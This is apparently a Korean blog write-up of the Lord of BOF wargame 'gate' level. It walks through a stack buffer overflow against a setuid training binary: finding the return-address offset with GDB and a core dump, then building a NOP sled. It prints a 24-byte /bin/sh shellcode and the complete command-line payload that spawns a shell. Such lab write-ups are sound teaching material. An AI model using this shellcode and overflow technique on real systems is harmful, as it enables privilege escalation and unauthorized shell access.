코드의 주석에서 설명하듯 간단한 BOF 문제이다.

Return Address 영역을 Overwrite해서 EIP를 변조시키는 것이다.

필자는 python 스크립트를 사용하였고, Nop Sled 기법을 통하여 공격 성공 확률을 높였다.


참고로, RET 영역은 함수(여기서는 main 함수) 종료 후 다음에 수행할 코드의 주소를 담고 있다.

함수가 종료되면, EIP는 RET 영역의 주소로 JMP하게 된다. 우리는 이 점을 이용할 것이다.


쉘코드는 24 bytes짜리를 사용하였다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


RET 영역의 오프셋을 알아내기 위해 GDB를 이용하자.



set disassembly-flavor intel //인텔 아키텍처 어셈블리어로 출력해주도록 설정한다.

disassemble main //main 함수를 디스어셈블 해준다.


buffer 변수는 ebp-256에 위치하고 있다.

gcc의 버전이 낮기 때문에 해커스쿨 FTZ와는 달리 변수 뒤에 dummy(공간)가 붙지 않는다.

즉, 우리에게는 260 바이트의 공간이 주어졌다. 이 공간에 Nop 문자와 shellcode를 주입하고, 261~264번째 자리에는 shellcode의 주소를 입력하면 된다는 것을 알 수 있다.



setuid, ESP, EBP, 그리고 곧 나올 EIP 레지스터가 무엇인지, 프로그램의 실행 흐름이 어떻게 돌아가는지 등에 대한 이해는 어느 정도 있어야 한다.

이제 남은 일은 RET 영역(Return Address)에 넣을, shellcode의 주소를 알아내는 일이다.

바이너리 파일 또는 코드 파일을 카피, 컴파일, GDB로 실행하여 메모리를 확인할 수 있지만, 정확하지 않을 뿐더러 번거롭기 때문에, 필자는 core 파일을 이용하려한다. 결국에 GDB를 사용하긴 하지만 조금 다르다.

취향에 따라, GDB를 사용하거나 core 파일을 사용하자.


ulimit -c //core 파일의 사이즈를 확인한다.

ulimit -c 1000000 //core 파일의 사이즈가 0이면 사이즈를 설정한다.

ulimit -c 또는 ulimit -a //core 파일의 사이즈가 잘 설정되었는 지 확인한다.


core 파일의 사이즈가 0으로 설정되어있으면 core 파일이 생성되지 않기 때문에 확인한다.

ulimit으로 사이즈를 잘못 설정할 경우, 재로그인 해야 하니 조심하자.


cp gremlin /tmp/


바이너리 파일을 tmp 디렉토리로 카피하자.

원본 파일에서는 코어 파일이 생성되지 않기 때문.


./gremlin `python -c 'print "A"*260+"BBBB"'`


우리가 실제 공격을 할 때와 같은 길이의 파라미터를 주자. EIP가 엉뚱한 곳으로 점프했으니 segmentation fault가 발생하고, 코어가 덤프될 것이다.

Segmentation fault (core dumped)라고 뜨면 성공이다.


gdb -c core -q //gdb를 통해 core 파일의 내용을 확인한다.



GDB가 실행되면 EIP가 0x42424242로 점프해 SEG FAULT가 발생했다는 것을 알 수 있고

다음 커맨드를 통해 스택을 확인한다.


x/100x $esp

(엔터)



메모리가 0x41414141로 도배된 것을 확인할 수 있고, 그 끝에 0x42424242가 쓰여있는 것을 볼 수 있을 것이다.

41 즉 'A'로 채워진 영역은 NOP과 shellcode를 담을 위치이다.


이제 RET를 저 영역의 주소로 덮어씌우기만 하면 공격 payload가 완성된다.

필자는 적당히 0xbffffb60으로 선택했다.

이제 공격을 시도해보자.


./gremlin `python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`


" ' ` 세 쿼터를 잘 닫고, bash 문제로 \xff 오류 조심, 마지막으로 리틀엔디안으로 주소를 적어주면 된다.



우리가 원하는대로 쉘이 실행된 것을 확인할 수 있다! 하지만, 이 파일은 우리가 카피해온 파일이었다.

이제 원본 파일에 공격을 시도해보자.


ln -sf ~/gremlin /tmp/gremlin


홈 디렉토리에서 공격을 시도할 수도 있지만, 필자는 쉘코드의 메모리 주소가 바뀌는 것을 방지하기 위해

심볼릭 링크를 사용하였다. 메모리 주소가 바뀌는 이유는 경로의 길이에 따라 환경 변수 등 몇몇 가지 요인이 영향을 받기 때문.


어쨌든 이제 진짜 공격을 시도해보면?


성공했다!


Nop Sled를 사용하면 정확한 주소를 알지 않아도 된다. 주소는 다양한 요소에 의해 변경될 수 있으니 정확한 주소를 맞추기보다는 Nop Sled를 통하여 공격 성공 확률을 높일 생각을 하자.


아아, 그리고 core 파일은

프로그램이 비정상 종료되었을 때의 메모리를 덤프 떠서 저장해놓은 파일이다.

필자는 core 파일을 이용하면 정확한 주소를 알 수 있는 점이 마음에 들어서 이후의 문제들도 모두 core 파일을 통해 주소값을 확인할 예정!


어쨌든 gate를 클리어했다. gremlin으로 이동하자.

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB 다운로드&초기 설정(bash 문제)  (1) 2015.11.01

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/